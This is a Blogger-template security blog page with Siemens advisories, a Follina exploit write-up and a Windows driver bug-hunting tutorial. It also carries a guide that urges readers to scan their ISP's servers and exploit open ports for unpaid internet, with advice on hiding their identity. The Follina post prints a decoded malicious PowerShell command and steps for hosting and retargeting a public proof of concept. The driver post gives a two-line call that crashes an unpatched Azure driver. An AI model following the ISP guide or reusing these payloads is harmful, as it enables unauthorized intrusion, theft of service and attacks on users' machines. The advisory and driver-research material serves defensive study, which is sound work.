This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

A vulnerability has been identified in SIMATIC RTLS

 

Description

A vulnerability has been identified in SIMATIC RTLS Locating Manager (All versions < V2.12). The affected application does not properly handle the import of large configuration files. A local attacker could import a specially crafted file which could lead to a denial-of-service condition of the application service.

References

A vulnerability has been identified in APOGEE MBC (PPC)

 

Description

A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions), APOGEE PXC Compact (P2 Ethernet) (All versions), APOGEE PXC Modular (BACnet) (All versions), APOGEE PXC Modular (P2 Ethernet) (All versions), Capital VSTAR (All versions), Nucleus NET (All versions), Nucleus ReadyStart V3 (All versions < V2017.02.4), Nucleus ReadyStart V4 (All versions < V4.1.1), Nucleus Source Code (All versions), TALON TC Compact (BACnet) (All versions), TALON TC Modular (BACnet) (All versions). The total length of an TCP payload (set in the IP header) is unchecked. This may lead to various side effects, including Information Leak and Denial-of-Service conditions, depending on the network buffer organization in memory. (FSMD-2021-0017)

References

The Ultimate Guide to Find Bug Host (SNI/HTTP/TCP) for Free Internet in Any Country

 We often face situations where many countries just keep on getting more and more free internet tricks using VPN apps. The you wonder how that is possible. Well the only truth is that they got so many free internet researchers in that area. Don’t you want to become a free internet creator and make yourself and skills known by many? I guess you really want that.

Well there is no secrete behind that. The first ever thing to search when looking to create free internet tricks is to find some loops or bugs hosts on your ISP. Always be alerted on all the different offers and bundles they release because believe it or not, there is always an open port when ever they render a bundle unlimited.

The case here might be different if your ISP doesn’t offer unlimited social bundles and in some countries, they just limit the offer since closing the port for this bundle will also lead to less subscribers to their offer and they will lose possible income. 

Let me tell you, your ISP is as wise as you are. They anticipate almost everything. Yes I just said almost because they cannot block free internet forever. There will always be possible ways to get new tricks since you are not the only free internet researcher in your country.

If you are in a country where most social bundles have been blocked, then you need to try another way. You need to run scans on your ISP main server, different sites hosted under the server for open ports. 

Note!
Open ports = bugs = exploitation = free internet.
That’s just the routing.

Requirements:-
1. Pc/Android
2.Termux For Android / CMD
3. Nmap Tool
4. Sublist3r Tool

It is obvious that when you get open ports, you can easily get free internet though it is not the case in most situations. I’m probably sure most of you face situations where you get status code 200 Ok but the host that reported that did not actually give you the expected results.

You face this situation when you try to create free internet files using HA Tunnel Plus, HTTP Injector, HTTP Custom and even NapsternetV. If a host can’t be exploited, no matter the trials, no matter the different tunnel methods you use with it, it will not give you any good results. In this case, drop the host and go in for new pentest searches.

At times when you get a host, you try using it with ports that have been filtered by the ISP. This is frequent when you don’t fully analyze the host with all possible ports. When you get the host with status code 200 Ok, you just head on to create the file for free internet and when you get disappointed, you start blaming what’s not supposed to be at fault.

Knowing all of this should just make you understand that though there are simple ways to get free internet, it somehow remains complicated when you are dealing with an ISP that frequently applies updates to its security features which may hinder most people to get what they want from them.

In this ultimate guide, I will walk you through all the possible ways to get bug host for free internet in any country by running scans on your ISP from your Android and PC devices for discovery of open ports, how to exploit them and get free internet access.

What is a Bug Host and How Does it Works?

Before you know what a bug host is, you will need to understand what a bug in computer world is.

A bug also known as a software bug is an error, flaw or fault in a computer program or system that causes it to produce an incorrect or unexpected result, or to behave in unintended ways.

Bugs generally produce abnormal results and without serious care taken to fix, it can lead to exploitation and data lose.

This is the case with bug host. When not closed or filtered immediately by the ISP, it will be exploited by malicious persons for their personal interest.

A bug host in free internet is a host which has open gaps or ports usually called loop holes which might lead a straight path to the data stored on the host.

Bug hosts can be created by ISP that just released a new offer or bundle. This leads them to open the ports for the access of everyone who subscribed to the bundle. This is a case with social bundles. When your ISP sets an unlimited access to social bundle maybe WhatsApp or Telegram, they will let everyone that subscribed to the bundle access the social platform unlimitedly. This is due to the ports they opened for you.

So what we do in this case is since we already have the gates open, whey don’t we ride the whole internet? Then comes the intervention of VPN apps that will do their magic in tunneling the connection from this social bundle through its secure servers and powerup your device with the connection for you to access any content on the web, perform unlimited downloads and so on.

AT times, the ISP open ports for free internet access to some online platforms and sites usually called zero-rated websites. The number of these websites increased during the COVID 19 pandemic since the government worked hand in hand with most ISP to allow free internet access to these sites in order for students to get access to their lessons from these platforms. 

Students and local residents usually use it and call it free internet for students during COVID19 pandemic. It wasn’t always the case since we still find zero-rated websites in most countries till date.

That is the case when the ISP opens the port themselves. What is they don’t? This is when we talk of completely free internet access. However, the intervention of VPN apps is highly important since they will tunnel the connection but their intervention comes at the last stage.

The main step in such a situation is running scans for the possible open hosts. However, this is attacking the ISP directly in their nest and can be a quite risky game during the exploitation of the host. So, it is always good to run such exploitation under secure shells and in virtual environments where they can’t easily spot your real identity and location.

It might go to the worst when you attack the ISP for a theft that will benefit only you such as attacking them for mobile money hacking, to steal top secrete information from them. Then this is a risky game and you might be jailed for that. The type of attacks usually used here are Dos and DDos attacks. That’s why it is important to use your ethical hacking skills in the right way. However, an ethical hacker is fully based on network and security.

I guess non of you reading this has the intention of hacking your ISP to steal top secrete information. If so, then we are good to continue.

When you launch scans on an ISP, it will take time to get results. However, you will need tools for this task. The main tools for such are those found in the famous Kali Linux but we still find some working tools for windows. On Android, we will use termux for this task. We are going to hit the main source or any suspected host that we think will give us what we seek for – “free internet access”.

It is important you know the different types of hosts before we head into the different ways to get a bug host.

What are the Different Types of Bug Host for Free Internet?

What is an SNI bug host or hostname and How does it works?

Server Name Identification (SNI) bug host are host which can be tunneled thought the SSH protocol. They fall under the main category of SSH but are more secured in connection.

Most people go in for SNI bug host rather than any other because they know of their top level security and are difficult to decrypt by most ISPs.

SNI bug hostnames often last longer than any other bug host type because its technology isn’t yet understood by some ISP. That’s why this host type goes viral on the web.

How to Find SNI Bug Host or Hostname in any Country for Free Internet

The most common SNI bug hosts are zero-rated websites. Zero rated websites are websites that can be accessed freely by any residents of the concerned countries. The most known countries with bug hosts now are South Africa, Nigeria, United States, France, Germany etc. That’s one of the reasons why they commonly have free internet tricks lately.

To find zero rated websites in your country, you just got to open your web browser, go to google and search for “zero-rated website in my country” replace my country here with your country. Let’s say for example if you are located in Nigeria, search for “zero-rated websites in India“.

You will find sites that can be accessed freely. This can be a hint for something great already. Try injecting the sites with any tunneling VPN using the SNI tunneling mode. I recommend you to use HA Tunnel Plus or HTTP Injector.

If in case it doesn’t work, no worries just keep that and continue reading the guide I will show you how to scan an SNI host for further information and conclude if you should stop work on it or continue.

Another way to get SNI bug host is to check out your ISP if they got some unlimited social bundles. We find ISP offering unlimited social bundles such as WhatsApp, Telegram, YouTube, Viber, Netflix, Instagram, Snapchat, Twitter etc. If your ISP offers such bundles, then it will be even easy for you. 

We have provided already made social bundle free internet files which you can download, import in the app (HTTP Injector) and start using. However, you will need to subscribe to the concerned social bundle before this trick can work.

Another optimal way to find SNI bug hosts is to run scans on any host or server you think might give free internet access. For the benefits of doubts, collect all the possible hosts you got for your ISP, working or not working and continue reading this guide. I will show you how to run scans on each of them for open ports.

How to Find HTTP/TCP Bug Host for Free Internet

As earlier said, HTTP and TCP have many things in common and one host can be used for the other in most cases. Experiments from our test have proven that over 90% of HTTP bug hosts will work as TCP bug hosts for free internet access.

To find HTTP Bug hosts, you need to perform a series of test since it implies generating Payload. Any host you got, you need to generate payload with it using all the possible protocols you got then see the results. 

Reverse IP lookup will be important here but won’t just be enough.

If you are dealing with a website that you access freely with a specific ISP SIM card, then you need to pull the data from its server. Which other protocol do you think can do this job other than the GET protocol? The GET protocols pulls information from a server and uses a back inject method for the injection. 

To know the specific protocol to use for an HTTP bug host you need to run scans on it with the tools you will be given in this guide. These tools will perform a deep scan on the host and return you the open ports, filtered ports and closed ports.

However, you can still get an HTTP bug host with the social bundle trick. Some social bundles offered by some ISP support payload generation and will work just well.

All same, you will however, need to run scans on the bug host to be orientated the best way to deal with the bug host. For that, you will need to checkout the best secretes and ultimate guide on how to find bug host for free internet in any country.

Important!
The above SNI and HTTP bug host tricks are a quick reminder to find bug host in the easiest way as possible ways to find bug host for free internet in any country. Though it is little information it can be sufficient at times and there are many things people fail to understand from there.

Disclaimer!
This tutorial or guide is meant for educational purposes only and we are do this to inform all ISP of their vulnerability. As such we are not to be held responsible for the misuse of any information gotten from this blog and its different articles and pages

Microsoft Office CVE-2022-30190 Vulnerability (Follina) Exploitation

What Is the Microsoft Office CVE-2022-30190 Follina Vulnerability?

nao_sec cyber security research team discovered a malicious Word document that downloads an HTML file and abuses Microsoft Support Diagnostic Tool (ms-msdt) to execute PowerShell commands on May 27th, 2022. An example attack follows these steps:

  • Adversaries craft a malicious Word document that contains an external reference to a remote HTML file.
  • The remote HTML file contains a script that causes the Word to spawn the ms-msdt process.
  • The spawned ms-msdt process runs the Base-64 encoded PowerShell commands that are crafted by the adversaries.
  • When a user interacts with it, the malicious document executes commands on the victim system.
    • If the malicious document is a .doc file, the user needs to click on it for execution.
    • If the malicious document is a .rtf file, hovering on it for preview is enough for execution.
$cmd = "c:\windows\system32\cmd.exe";


Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";


Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

Example 1: Decoded PowerShell command exploiting Follina Vulnerability [3]

Even if users disable macros or use Protected View, the adversaries can exploit the Follina vulnerability.

What Is the Impact of the Microsoft Office CVE-2022-30190 Follina Vulnerability?

Microsoft Office is widely used worldwide; any vulnerability found in Office can potentially be exploited in impactful cyberattack campaigns. The Follina exploit allows attackers to run remotely hosted code with little interaction from the victim user. Therefore, cyber threat actors can exploit the Follina vulnerability as an initial access technique.

Which Versions of Microsoft Office Are Affected?

The MSDT Remote Code Execution (Follina) vulnerability currently affects Microsoft Office 2013, 2016, 2019, and 2021 and there is no patch available at the moment.

What Should You Do?

Proof-of-concept (PoC) codes for exploiting the Follina vulnerability are publicly available; security teams should expect exploitation attempts via malicious email attachments. 

How to Disable the MSDT URL Protocol?

Disabling MSDT URL protocol prohibits troubleshooters from being launched as links, including links within the operating system itself. These troubleshooters can still be accessed through the Get Help application and the system settings as supplementary or alternative troubleshooters. In order to disable the MSDT URL protocol:

1- Run Command Prompt as Administrator.
2- Backup the registry key: Execute the command “reg export HKEY_CLASSES_ROOT\ms-msdt filename“
3- Delete the registry key: Execute the command “reg delete HKEY_CLASSES_ROOT\ms-msdt /f”

Exploit

Exploit Link:- https://github.com/onecloudemoji/CVE-2022-30190
CVE-2022-30190 Follina POC

Host exploit.html on localhost, port 80. Open the docx to pop calc.

To change the remote address the doc points to, open in 7Z and edit word\rels\document.xml.rels to point to a new location. YOU MUST keep the exclamation mark. It will literally not run if you omit this from the end of the URL.

The exploit must contain at least 3541 characters before the window.location.href, and they must be within the script tag. There is about 6000 or so included in the exploit.html

Finding Bugs in Windows Drivers, Part 1 – WDM

Know About WDM?

Windows Driver Model (WDM) is the oldest and still the most-used driver framework. Every driver is essentially a WDM driver; the newer framework Windows Driver Framework (WDF) encapsulates WDM, simplifies the development process and deals with WDM’s multiple technical difficulties. The primary thing we care about while inspecting WDM drivers is how we can communicate with them; almost every bug in drivers involves some communication from an unprivileged user to the driver itself.

We start at the beginning, which in our case, is the entry point of our driver named “testy”:

DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING  RegistryPath)

{

  UNICODE_STRING DeviceName, SymbolicLink,sddlString;

  PDEVICE_OBJECT deviceObject;

  RtlInitUnicodeString(&DeviceName, L"\\Device\\testydrv");

  RtlInitUnicodeString(&SymbolicLink, L"\\DosDevices\\testydrv");

  RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");


  UNREFERENCED_PARAMETER(RegistryPath);

  //Create a device

  IoCreateDevice(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);


  //IoCreateDeviceSecure(DriverObject, , &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);

  

  //Create a symbolic so the user can access the device

  IoCreateSymbolicLink(&SymbolicLink, &DeviceName);


  //Populating Driver's object dispatch table

  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;

  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;

  DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;

  DriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;

  DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;

  DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;

  DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;


  DriverObject->DriverUnload = TestyUnloadDriver;

  return STATUS_SUCCESS;

}

This code is an ordinary skeleton of the DriverEntry function that every WDM driver has. The first parameter is the DriverObject structure pointer used in device creation and dispatch routine initialization. Next, the driver has the MajorFunction member, which is a function pointer array used to assign dispatch routines for different events. Additionally, we have the critical device creation routines that we cover in the next section.

Device Creation and Initialization

As we said, the driver starts with creating a device by calling IoCreateDevice; this will create a DEVICE_OBJECT in the Object Manager. In Windows, a device object represents a logical, virtual or physical device for which a driver handles I/O requests. All of that sounds good, but it is not enough if we want it to communicate from a regular user standpoint; for this, we call IoCreateSymbolicLink that will create a DoS device name in the Object Manager that enables the user to communicate with the driver via the device. Some devices, however, don’t have normal names; they have autogenerated names (done in PDOs). They might  look odd to the inexperienced bug hunter, so if you see them at first in your favorite device, view software and see the 8-hex in the device name column. These devices can interact like every other named device.

The most important things to note in the device creation routine are if the programmer assigned an ACL to the device and the value of DeviceCharacteristics.

Unfortunately, the IoCreateDevice method doesn’t allow the programmer to specify any ACL whatsoever, which is not good. As a result, the developer must define an ACL in the registry or the ini file of the driver. If they fail to do so, any user can access the device. Using the IoCreateDeviceSecure method, however, would mitigate that.

Besides that, we need to look at the fifth argument, which is DeviceCharacteristics . If the value of DeviceCharacteristics isn’t ORed with 0x00000100, FILE_DEVICE_SECURE_OPEN, here we likely face a security vulnerability (unless we talk about file system drivers    or any that support name structure). The reason behind this is the way Windows treats devices; every device has its very own namespace. Names in the device’s namespace are paths that begin with the device’s name. For a device named \Device\DeviceName, its namespace consists of any name of the form “\Device\DeviceName\anyfile.”

A call IoCreateDevice without the FILE_DEVICE_SECURE_OPEN flag as in figure 1 means that the device ACL is not applied to open file requests of files inside the device namespace. In other words, even if we specify a strong ACL when creating the device via IoCreateDeviceSecure or other means, then the ACL is not applied to the open file requests. As a result, we don’t really get what we wanted — a call to CreateFile with \Device\testydrv would fail, but a call with “\device\testydrv\anyfile” will succeed because the IoManager doesn’t apply the device ACL to the create request (as it assumes it is a file system driver). For starters, it is considered to be a bug that is worthy of a fix. Also, this will lead non-admin users to try to read/write into the device, perform DeviceIoControl requests and more, which normally is a thing you don’t want non-admin users doing.

You Better User Protection

We can eliminate the threats of unwanted users from straightforwardly interacting with our devices, calling IoCreateDeviceSecure (or WdmlibIoCreateDeviceSecure; it’s the same function) with a Security Descriptor that prevents non-admin users from opening a handle to the device and by using the FILE_DEVICE_SECURE_OPEN value in the creation routine. This will also save us the hassle of declaring the device’s permissions in the registry, as we would need in IoCreateDevice.

RtlInitUnicodeString(&sddlString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)"); 

IoCreateDeviceSecure(DriverObject, 65535, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sddlString, NULL, &deviceObject);

From a bug hunting standpoint, we should enumerate every possible device in the system, followed by trying to open it with GENERIC_READ | GENERIC_WRITE, which allows us to filter out devices we can’t communicate with. We will revisit this in our  second part.

Dispatch Methods

Creating devices is nice and all, but, of course, it isn’t enough for you to communicate with the driver. For that you need IRPs. The driver receives IRPs, I/O Request Packets on behalf of the IoManager for specific triggers. For instance, if an application tries to open a handle to a device, the IoManager will invoke the relevant dispatch method assigned to the driver object. Thus, it allows every driver to support multiple different MajorFunctions for every device it creates. There are around 30 different MajorFunction. If you count the deprecated IRP_MJ_PNP_POWER, each represents a different event. We will focus on only two of these MajorFunction methods and add a short description about the rest, which are the places we should look after while bug hunting.

  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;

  DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;

  DriverObject->MajorFunction[IRP_MJ_CREATE] = TestyDispatchCreate;

  sDriverObject->MajorFunction[IRP_MJ_CLOSE] = TestyDispatchClose;

  DriverObject->MajorFunction[IRP_MJ_READ] = TestyDispatchRead;

  DriverObject->MajorFunction[IRP_MJ_WRITE] = TestyDispatchWrite;

  DriverObject->MajorFunction[IRP_MJ_CLEANUP] = TestyDispatchCleanup;

Before we dive into the juiciest target, which is the IRP_MJ_DEVICE_CONTROL, we will start with IRP_MJ_CREATE. Every kernel- mode driver must handle IRP_MJ_CREATE in the driver dispatch callback function. The driver must implement IRP_MJ_CREATE because without that, you could not open a handle to the device or a file object.

As you probably guessed, the IRP_MJ_CREATE dispatch routine is invoked when you call NtCreateFile or ZwCreateFile. On most occasions, it will be an empty stub and return a handle with the asked DesiredAccess based on the device’s ACL.

NTSTATUS TestyDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP irp){

  irp->IoStatus.Status = 0;

  irp->IoStatus.Information = 0;

  IofCompleteRequest(irp, 0);


  return 0;

}

However, in some cases, more complex code is involved — even if you met the device’s ACL criteria, you might get a status error like STATUS_INVALID_PARAMETER because you use incorrect parameters in the call to NtCreateFile.

Unfortunately, it indicates you can’t open a device blindly and hope to communicate with the driver via DeviceIoControl; you first need  to understand its expected parameters. Usually, the DispatchCreate expects some ExtendedAttributes (can’t use regular CreateFile for that) or specific file name (besides the device name) alongside some other quarks and gluons. Therefore, we must visit the DispatchCreate method 

Shows a check to see if there is an extended attribute named “StorVsp-v2” and that the length of the value field is 0x19 bytes long. Thus, the driver is StorVsp.sys

Besides opening a handle, you can also look for vulnerabilities in the DispatchCreate. The more complex the function becomes, the higher the chances of memory allocation and deallocation bugs, especially because the DispatchCreate is not often inspected.

The general approach we take while looking for bugs in drivers is:

  • Enumerate every device object
  • Try to open it with the most permissive DesiredAccess
  • In case of failure, check the status code; if it is not STATUS_ACCESS_DENIED, you can probably still open the handle by doing some manual work and changing some of the parameters

By following this simple algorithm, we will have a list of around 70 devices that we can talk to from a non-admin standpoint. Of course, this number will vary across different Windows machines, since OEM drivers and many types of software also install drivers.

Control the Device with ioctls

While rarely giving you full control over the device/driver, ioctls is de facto the way an application should communicate with a driver. There are two ioctl dispatch routines a driver can create:

// User-Mode application DeviceIoControl, NtDeviceIoControlFile

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestyDispatchIoctl;

// Kernel-Mode driver ZwDeviceIoControlFile or the bad IoBuildDeviceIoControlRequest

DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = TestyInternalDispatchIoctl;


The only method that matters is TestyDispatchIoctl, since we can’t initiate a call to either IoBuildDeviceIoControlRequest or IIoAllocateIrp with arbitrary parameters, which are the function that trigger the IRP_MJ_INTERNAL_DEVICE_CONTROL major function. If so, please tell me because the internal dispatch method seldom goes through proper testing.

As with any dispatch method of the DriverObject, it receives two parameters from the IoManager.

NTSTATUS TestyDispatchIoctl(PDEVICE_OBJECT DeviceObject, PIRP IRP)

The first is the device object we performed the CreateFile operation on, and the second is a pointer to IRP. The IRP encapsulates the user data and many other things we don’t really care about from a vulnerability research perspective. The main thing we care about here is which parameters are sent from user mode. If we take a look at the signature of NtDeviceIoControlFile, we can guess which fields we care about while looking for bugs in drivers:

BOOL DeviceIoControl(

  HANDLE       hDevice,

  DWORD        dwIoControlCode,

  LPVOID       lpInBuffer,

  DWORD        nInBufferSize,

  LPVOID       lpOutBuffer,

  DWORD        nOutBufferSize,

  LPDWORD      lpBytesReturned,

  LPOVERLAPPED lpOverlapped

);

The main suspects in this method are the input/output buffers, their lengths and the Ioctl code itself. We start with the Ioctl code, which is a 32-bit number that acts as a specifier; it describes how the buffers and the lengths are used/copied to the kernel, the needed DesiredAccess (when you opened a handle to the device) and a function indicator. Let’s see an example:

an image of the FileTest.exe tool, showing the bitfields of the 32 Ioctl number

We can see the ioctl code is 0x1000, which translates to:

  • DeviceType: FileDevice_0 → It’s not relevant for us.
  • Function: 0 → It’s not relevant for us.
  • Method: METHOD_NEITHER → It’s relevant for us, as it describes how IoManager transfers this data to the kernel; more about it shortly
  • Access: FILE_ANY_ACCESS → It’s relevant for us, as it defines the desired access you need to have over the handle. If you don’t have the correct access, then the IoManager won’t allow the call to take place and return you AccessDenied. There are four different values:
    • FILE_ANY_ACCESS: You always have a handle to the device, regardless of the DesiredAccess argument.
    • FILE_READ_DATA: You requested a handle with GENERIC_READ and got a valid handle
    • FILE_WRITE_DATA: You requested a handle with GENERIC_WRITE and got a valid handle FILE_READ_DATA | FILE_WRITE_DATA: Self-explanatory; you need both rights.

Running this DeviceIoControl request on the handle of \Device\VfpExt would cause a BSoD, regardless of your privilege level;   we will see why after understanding the field Method.

Method/TransferType, Mother of All Evils

Method/TransferType, Mother of All Evils. This sounds bombastic at first, but unfortunately, it is indeed the case. The method of transport type, the two least significant    bits in the ioctl 32 bit-number, indicates the way parameters (buffers and lengths) are referenced in the kernel by the IoManager. As with the Access field, there are four different options:

  • (1) METHOD_NEITHER, both bits are on: The IoManager is lazy and does no checks on the buffers and their lengths. The  buffers are not copied to the driver and reside in user-mode. Therefore, the user can manipulate the buffers’ lengths and free/allocate their pages at wish, causing many bad things — system crashes and privilege escalation — unless the buffers are probed properly. If you see a driver that does not probe the buffers and uses METHOD_NEITHER, it is safe to assume you have a major security hole in front of you.
  • (2) METHOD_BUFFERED, none of the bits are on: The IoManager copies the input/output buffers and their length to the kernel, making it vastly more secure as the user cannot page out the buffers or change their content and lengths on a whim. After that, the input/output buffer pointer is assigned to the IRP.
  • (3) METHOD_IN_DIRECT and (4) METHOD_OUT_DIRECT one of the two bits are on: These two are quite similar; the IoManager  allocates the input buffer as in METHOD_BUFFERED. For the output buffer, the IoManager probes the buffer and checks  if the virtual address is writeable\readable in the current access mode. Then, it locks the memory pages and passes a pointer to the IRP.

Let’s see how a driver might access the user mode buffers and look at a quick vulnerability that demonstrates the issue of not doing proper security checks in drivers.

METHOD_NEITHER: Ioctl code translated to binary ends with 11

Input buffer: irp->Parameters.DeviceIoControl.Type3InputBuffer                         

Output buffer: irp->UserBuffer                         

                

METHOD_DIRECT: Ioctl code translated to binary ends with either 01 or 11

Input buffer: irp->AssociatedIrp.SystemBuffer

Output buffer: irp->MdlAddress  


METHOD_BUFFERED: Ioctl code translated to binary ends with 00

Input & Output buffer IRP->AssociatedIrp.SystemBuffer

As a driver can support multiple ioctl codes normally, it has a large switch case for every different ioctl code, affecting where the buffers are stored in memory. In the next section, we will see what happens if we don’t notice.

Blue Screen Goes Boom

In short, our first example of a real bug lies in the Microsoft Azure VFP Extension or vfpext.sys. The story begins in the driver’s ioctl dispatch function. After some variable initialization, it calls a method to validate user-mode parameters followed by some inner logic.  We care not.

NTSTATUS __fastcall SxStartDeviceIoControl(PIRP IRP, _WORD *a2, _WORD *a3, _QWORD *a4, int *a5, __int64 a6, __int64 a7)

{

  _IO_STACK_LOCATION *CurrentStackLocation; // rdi

  bool IsInputBufferBelowLimit; // cf

  NTSTATUS result; // eax

  BYTE *SystemBuffer; // rbx

  int v14; // ecx

  __int128 v15; // [rsp+20h] [rbp-28h] BYREF

  __int128 v16; // [rsp+30h] [rbp-18h] BYREF


  CurrentStackLocation = IRP->Tail.Overlay.CurrentStackLocation;

  IRP->IoStatus.Information = 0i64;

  IsInputBufferBelowLimit = CurrentStackLocation->Parameters.Create.Options < 0x218; v15 = 0i64; v16 = 0i64; if ( IsInputBufferBelowLimit ) return -1073741811; SystemBuffer = (BYTE *)IRP->AssociatedIrp.SystemBuffer;

  result = SxInitUnicodeStringSafe((__int64)&v16, (const wchar_t *)SystemBuffer + 8, 0x100u);

  if ( result >= 0 )

  {

    result = SxInitUnicodeStringSafe((__int64)&v15, (const wchar_t *)SystemBuffer + 0x88, 0x100u);

    if ( result >= 0 )

    {

      *a2 = *((_WORD *)SystemBuffer + 265);

      *a3 = *((_WORD *)SystemBuffer + 264);

      v14 = CurrentStackLocation->Parameters.Create.Options - 0x218;

      *a4 = SystemBuffer + 536;

      *a5 = v14;

      return SxFindContextByName(&v16, &v15, (PVOID **)a6, (_QWORD *)a7);

    }

  }

All we really have here is a simple code that does the following:

  1. Get a pointer to the CurrentStackLocation from the macro IoGetCurrentIrpStackLocation (IRP))
  2. Verify that buffer length exceeds 0x218
  3. Create some Unicode strings in a safe way
  4. Do a look-up operation by calling SxFindContextByName, which we don’t care about

The problem is that in no place does the driver check what the given ioctl IRP->AssociatedIrp is. For example, SystemBuffer is a valid address; it assumes the address of the buffer is valid.

However, looking back at Figure 4, we can assume the driver expects to get an ioctl code with TransferType of either

METHOD_BUFFER or METHOD_IN_DIRECT or METHOD_OUT_DIRECT, as it reads the input buffer from IRP->AssociatedIrp.SystemBuffer.

But, if it is METHOD_NEITHER, then IRP->AssociatedIrp.SystemBuffer means nothing to the IoManager, and it sets it set to zero because it populates IRP->Parameters.DeviceIoControl.Type3InputBuffer instead.

Next, there is a call to SxInitUnicodeStringSafe , which I think is supposed to be a safer version of the kernelic method RtlInitUnicodeString; the second parameter is the SystemBuffer+8 that is the source string.

NTSTATUS __fastcall SxInitUnicodeStringSafe(__int64 Dest, const wchar_t *SystemBuffer, unsigned __int16 a3)

{

  __int64 v5; // r11

  NTSTATUS result; // eax

  size_t v7; // [rsp+38h] [rbp+10h] BYREF


  v7 = 0i64;

  v5 = Dest;

  if ( SystemBuffer )

  {

    result = RtlStringCbLengthW(SystemBuffer, a3, &v7);

    if ( !result )

    {

      *(_WORD *)v5 = v7;

      result = 0;

      *(_WORD *)(v5 + 2) = a3;

      *(_QWORD *)(v5 + 8) = SystemBuffer;

      return result;

    }

  }

  else

  {

    result = 0;

  }

  *(_DWORD *)v5 = 0;

  *(_QWORD *)(v5 + 8) = 0i64;

  return result;

}

SxInitUnicodeStringSafe function decompiled by Ida Pro, receives SystemBuffer, which can point to an invalid memory

So, the address of SystemBuffer address will be 0x10 = (0x0+sizeof(wchar_t *)+8). Hence, on the call to RtlStringCbLengthW, which as the name states, calculates the length, will use the system buffer that points to an invalid address. It contains the code:

for ( i = length; i; --i )

    {

      if ( !*SystemBuffer )

        break;

      ++SystemBuffer;

    }


Here the pointer dereference takes place

When the *SystemBuffer dereferencing happens, you dereferenced an invalid address, and the kernel is not forgiving about the null pointer.

just a blue screen, triggered by the vulnerability

This bug check only requires two lines of code to trigger:

HANDLE hDevice = CreateFile (DEVICE_NAME, NULL, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

DeviceIoControl(hDevice, 3, NULL, 0x512, NULL, 0x512, NULL, NULL);

In this case, our bug is not exploitable, except by a DoS from a limited user. This bug can also be triggered by a restricted user and in an application sandbox, as well because there is no protection over the device whatsoever. Hence, everyone can get a handle and BSoD. To this day, this vulnerability has not been patched; MSRC response was, “We have completed our investigation and determined that  this report is a moderate severity denial of service vulnerability, which unfortunately means that it does not meet our bar for servicing  in a security update, and I will be closing this case.” Microsoft’s answer is quite amusing, as it is not just a regular DoS but a system DoS. From a CVSS standpoint, it should be 7.3: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H . And besides that, the fix is pretty simple; check the ioctl code before using it blindly, which will lead to correct usage of IRP‘s buffers.

Leak Me Some Memory

After having fun with Denial-of-Service attacks, we should proceed to a special, stealthy vulnerability class. Information leakage is the disclosure of kernelic memory to the user-mode. It doesn’t trigger a bug check or any exception, so it is quite difficult to find during the regular pipeline of driver development. You also can’t find it via driver verifier, in contrast to regular memory pool bugs.

Since Windows Vista, Microsoft introduced mitigation called KASLR, making Windows kernel exploitation very challenging. KASLR is the kernelic ASLR, which randomizes drivers, modules, kernelic objects base address on boot. By doing such, you couldn’t abuse arbitrary write primitive as you would in the old days. Back then, you could find an address that would be called by the kernel like HalDispatchTable, followed by placement of a malicious shellcode that would do token stealing that could, for instance, be triggered by a user-mode process. Thus, having arbitrary write was enough for code execution, or you could cancel SMEP for the record.

Nowadays, when the addresses are randomized, one does not know where to assign the shellcode, as the HalDispatchTable is randomized with each boot.

Exploit writers got smarter and pretty quickly understood that you can call NtQuerySystemInformation or EnumDeviceDrivers to get the base address of ntoskrnl. From that, we bypass KASLR, making arbitrary write enough for LPE. But, of course, one can call these APIs only if the controlled process is of medium integritywhich most processes are; browsers are not. Besides that, overwriting the HalDisptachTable with PageEntry corruption is null and void because of new mitigations such as HVCI, which are still  not the default on most Windows machines.

